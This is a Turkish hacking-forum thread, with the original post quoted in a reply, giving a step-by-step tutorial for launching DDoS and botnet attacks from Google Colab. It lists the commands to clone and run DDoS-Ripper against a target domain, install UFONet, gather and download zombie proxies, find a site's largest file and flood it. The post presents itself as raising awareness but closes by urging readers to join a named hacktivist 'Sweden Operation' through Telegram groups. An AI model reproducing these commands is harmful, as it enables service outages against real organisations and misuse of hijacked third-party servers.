Google Colab ile DDos ve Botnet saldırıları!| Ufonet | DDos-Ripper

Muslukcu

Katılımcı Üye
17 Kas 2021
699
262
Tesisat dükkanı
8BfzfS111434df5fdd155e.md.png

İyi günler Türk Hack Team ailesi.

Bugün sizlere Google Colab üzerinden DDos ve Botnet saldırılarını anlatacağım.

Konunun amacı bu tarz platformlar üzerinden bu işlemlerin yapılabileceğine dair farkındalık oluşturmaktır.

DDos Nedir?

6OfL8I.gif

EmHrEaS.png

DDos (Distributed Denial of Service) saldırısı, bir sistemi veya ağın normal işlevini yerine getirememesi için gerekli kaynakların (bandwidth, CPU, memory vb.) tahsis edilmesini engellemek amacıyla gerçekleştirilen bir saldırı türüdür. Bu saldırılar genellikle birçok farklı bilgisayardan veya cihazdan yapılır, böylece saldırganın kimliği ve konumu belirlenmesi zor olur.

DDos saldırılarının kullanım sıklığı son zamanlarda artmıştır. Özellikle, internet üzerinden yapılan işlemlerin artmasıyla birlikte, hedefler arasında e-ticaret siteleri, bankalar, ve hükümet kurumları yer almaktadır.

Google Colab Nedir?

6OfL8I.gif

1200px-Google_Colaboratory_SVG_Logo.svg.png

Google Colab, Google tarafından sunulan, ücretsiz ve açık kaynak kodlu web tabanlı bir platformdur. Bu platform, kullanıcıların Python kodlarını çalıştırmalarına ve Jupyter Notebook gibi kod defterlerini kullanmalarına olanak tanır. Bunun yanı sıra, Colab kullanıcılarının Google Drive, GitHub veya herhangi bir başka depolama hizmetinden dosyalarını çalıştırmalarına ve düzenlemelerine olanak tanır.

Google Colab, kullanımı kolay arayüzü ve ücretsiz erişim imkanı ile, öğrenciler, araştırmacılar ve profesyoneller için idealdir. Özellikle, ML ve AI alanında çalışanlar için, Colab'ın sağladığı GPU ve TPU erişimi, projelerin daha hızlı ve doğru şekilde tamamlanmasını sağlar.

Google Colab ile DDos Saldırısı Nasıl Yapılır?

6OfL8I.gif

Öncelikle Google Drive hesabımıza giriş yapmamız gerekiyor. Ardından sol tarafta yer alan New(Yeni) butonuna tıklıyoruz. Açılan pencereden More(Diğer) butonuna tıklayıp, Colaboratory'e tıklıyoruz. Eğer sizde burada gözükmüyorsa aşağıda Daha Fazla Uygulama Bağla seçeneğine tıklayarak, oradan seçebilirsiniz.

gaSqsbI.png

Ardından aşağıdaki gibi bir notebook sayfası açılacaktır.

B38hmcO.png

Burada Python kodları ve bazı sınırlar içerisinde linux komutları çalıştırabilirsiniz.

Linux komutlarını çalıştırmak için, komutun başına ! işareti koymanız gerekiyor.

Eğer cd komutu ile klasörlerde dolaşmak isterseniz, cd komutunun başına % işareti koymanız gerekiyor.

Ayrıca klasörlere erişebilmeniz için Google Colab'ın kendi kütüphanelerini import etmemiz ve erişim yetkisi vermemiz gerekiyor.

Kod:
from google.colab import drive
drive.mount('/content/drive')

197tf0e.png

Erişim yetkisi verdikten sonra artık colab üzerinden bütün drive klasörlerine erişebiliriz. Ben bu içerikte anlatımı DDos-Ripper üzerinden yapacağım.

Kod:
!git clone https://github.com/palahsu/DDoS-Ripper.git

komutu ile DDos-Ripper aracımızı indirelim.

Kod:
%cd DDoS-Ripper

komutu ile DDos-Ripper'in olduğu dizine gidelim.

DDJI6tQ.png

Kod:
!python3 DRipper.py -s hedefdomain -t threadsayisi

komutunu kullanarak aracımızı çalıştırabiliriz.

p5IkU75.png

Görmüş olduğunuz gibi DDos saldırımız Google Colab üzerinde çalışmaya başladı.

Google Colab ile Ufonet Nasıl Kullanılır?

6OfL8I.gif

Ufonet DDos saldırıları arasında çok tercih edilen araçlardan biri olduğu için, ayrıca anlatma gereği duydum.

Google colab kütüphanemizi importladıktan sonra github'dan ufonet yazılımını klonluyoruz. Ardından klasör içerisine girerek ufonet için gerekli kütüphaneleri kuruyoruz.

Kod:
!git clone https://github.com/epsylon/ufonet
!sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev
%cd ufonet
!python3 setup.py install

045191F.png

Ufonet kurulumumuz tamamlanmış oldu. Şimdi botnet ağımızı indirmek için

Kod:
!./ufonet -s 'proxy.php?url=' --sa
komutunu giriyoruz.

r0mbaeL.png

Komutu girdikten sonra yukarıdaki gibi bazı sorular geliyor. Örneğin sonuçları kaydetmek ister misiniz, bulunan sonuçları kaydetmek ister misiniz vb. gibi. Hepsine y diyip geçiyorum. Next Next Next kanunları Bill Gates'in hayatımıza ilmek ilmek işlediği bir şey.

Eğer isterseniz aşağıdaki komut ile ufonet community'si tarafından doğrulanmış zombileride indirebilirsiniz.

Kod:
!./ufonet --download-zombies

f2xWDaY.png

Ardından

Kod:
!./ufonet -i website

komutu ile hedef url'de yer alan en büyük dosyayı buluyoruz.

DTytoBI.png

K6NL8dR.png

Artık saldırıya hazırız!

Kod:
!./ufonet -a website -r 10 -b "En büyük dosyanın olduğu adres"

komutu ile zombilerimizi salabiliriz.

-a hedef website

-r her zombinin kaç kere saldırması gerektiğini belirtir.

-b hedef isteğin hangi dosyaya/dizine yapılacağını belirtir.

xTMEktf.png

6OfL8I.gif

Bu konudan öğrendiğiniz teknikler ile İsveç Operasyonuna destek verebilirsiniz.

Bu bağlantıyı takip ederek konuya gidebilir ve operasyon telegram gruplarına dahil olabilirsiniz.

6OfL8I.gif

İyi Forumlar!

Elinize sağlık
 

Agent-47

Katılımcı Üye
23 Mar 2023
411
257
HACKERİSTAN
8BfzfS111434df5fdd155e.md.png

İyi günler Türk Hack Team ailesi.

Bugün sizlere Google Colab üzerinden DDos ve Botnet saldırılarını anlatacağım.

Konunun amacı bu tarz platformlar üzerinden bu işlemlerin yapılabileceğine dair farkındalık oluşturmaktır.

DDos Nedir?

6OfL8I.gif

EmHrEaS.png

DDos (Distributed Denial of Service) saldırısı, bir sistemi veya ağın normal işlevini yerine getirememesi için gerekli kaynakların (bandwidth, CPU, memory vb.) tahsis edilmesini engellemek amacıyla gerçekleştirilen bir saldırı türüdür. Bu saldırılar genellikle birçok farklı bilgisayardan veya cihazdan yapılır, böylece saldırganın kimliği ve konumu belirlenmesi zor olur.

DDos saldırılarının kullanım sıklığı son zamanlarda artmıştır. Özellikle, internet üzerinden yapılan işlemlerin artmasıyla birlikte, hedefler arasında e-ticaret siteleri, bankalar, ve hükümet kurumları yer almaktadır.

Google Colab Nedir?

6OfL8I.gif

1200px-Google_Colaboratory_SVG_Logo.svg.png

Google Colab, Google tarafından sunulan, ücretsiz ve açık kaynak kodlu web tabanlı bir platformdur. Bu platform, kullanıcıların Python kodlarını çalıştırmalarına ve Jupyter Notebook gibi kod defterlerini kullanmalarına olanak tanır. Bunun yanı sıra, Colab kullanıcılarının Google Drive, GitHub veya herhangi bir başka depolama hizmetinden dosyalarını çalıştırmalarına ve düzenlemelerine olanak tanır.

Google Colab, kullanımı kolay arayüzü ve ücretsiz erişim imkanı ile, öğrenciler, araştırmacılar ve profesyoneller için idealdir. Özellikle, ML ve AI alanında çalışanlar için, Colab'ın sağladığı GPU ve TPU erişimi, projelerin daha hızlı ve doğru şekilde tamamlanmasını sağlar.

Google Colab ile DDos Saldırısı Nasıl Yapılır?

6OfL8I.gif

Öncelikle Google Drive hesabımıza giriş yapmamız gerekiyor. Ardından sol tarafta yer alan New(Yeni) butonuna tıklıyoruz. Açılan pencereden More(Diğer) butonuna tıklayıp, Colaboratory'e tıklıyoruz. Eğer sizde burada gözükmüyorsa aşağıda Daha Fazla Uygulama Bağla seçeneğine tıklayarak, oradan seçebilirsiniz.

gaSqsbI.png

Ardından aşağıdaki gibi bir notebook sayfası açılacaktır.

B38hmcO.png

Burada Python kodları ve bazı sınırlar içerisinde linux komutları çalıştırabilirsiniz.

Linux komutlarını çalıştırmak için, komutun başına ! işareti koymanız gerekiyor.

Eğer cd komutu ile klasörlerde dolaşmak isterseniz, cd komutunun başına % işareti koymanız gerekiyor.

Ayrıca klasörlere erişebilmeniz için Google Colab'ın kendi kütüphanelerini import etmemiz ve erişim yetkisi vermemiz gerekiyor.

Kod:
from google.colab import drive
drive.mount('/content/drive')

197tf0e.png

Erişim yetkisi verdikten sonra artık colab üzerinden bütün drive klasörlerine erişebiliriz. Ben bu içerikte anlatımı DDos-Ripper üzerinden yapacağım.

Kod:
!git clone https://github.com/palahsu/DDoS-Ripper.git

komutu ile DDos-Ripper aracımızı indirelim.

Kod:
%cd DDoS-Ripper

komutu ile DDos-Ripper'in olduğu dizine gidelim.

DDJI6tQ.png

Kod:
!python3 DRipper.py -s hedefdomain -t threadsayisi

komutunu kullanarak aracımızı çalıştırabiliriz.

p5IkU75.png

Görmüş olduğunuz gibi DDos saldırımız Google Colab üzerinde çalışmaya başladı.

Google Colab ile Ufonet Nasıl Kullanılır?

6OfL8I.gif

Ufonet DDos saldırıları arasında çok tercih edilen araçlardan biri olduğu için, ayrıca anlatma gereği duydum.

Google colab kütüphanemizi importladıktan sonra github'dan ufonet yazılımını klonluyoruz. Ardından klasör içerisine girerek ufonet için gerekli kütüphaneleri kuruyoruz.

Kod:
!git clone https://github.com/epsylon/ufonet
!sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev
%cd ufonet
!python3 setup.py install

045191F.png

Ufonet kurulumumuz tamamlanmış oldu. Şimdi botnet ağımızı indirmek için

Kod:
!./ufonet -s 'proxy.php?url=' --sa
komutunu giriyoruz.

r0mbaeL.png

Komutu girdikten sonra yukarıdaki gibi bazı sorular geliyor. Örneğin sonuçları kaydetmek ister misiniz, bulunan sonuçları kaydetmek ister misiniz vb. gibi. Hepsine y diyip geçiyorum. Next Next Next kanunları Bill Gates'in hayatımıza ilmek ilmek işlediği bir şey.

Eğer isterseniz aşağıdaki komut ile ufonet community'si tarafından doğrulanmış zombileride indirebilirsiniz.

Kod:
!./ufonet --download-zombies

f2xWDaY.png

Ardından

Kod:
!./ufonet -i website

komutu ile hedef url'de yer alan en büyük dosyayı buluyoruz.

DTytoBI.png

K6NL8dR.png

Artık saldırıya hazırız!

Kod:
!./ufonet -a website -r 10 -b "En büyük dosyanın olduğu adres"

komutu ile zombilerimizi salabiliriz.

-a hedef website

-r her zombinin kaç kere saldırması gerektiğini belirtir.

-b hedef isteğin hangi dosyaya/dizine yapılacağını belirtir.

xTMEktf.png

6OfL8I.gif

Bu konudan öğrendiğiniz teknikler ile İsveç Operasyonuna destek verebilirsiniz.

Bu bağlantıyı takip ederek konuya gidebilir ve operasyon telegram gruplarına dahil olabilirsiniz.

6OfL8I.gif

İyi Forumlar!

elinize sağlık hocam
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.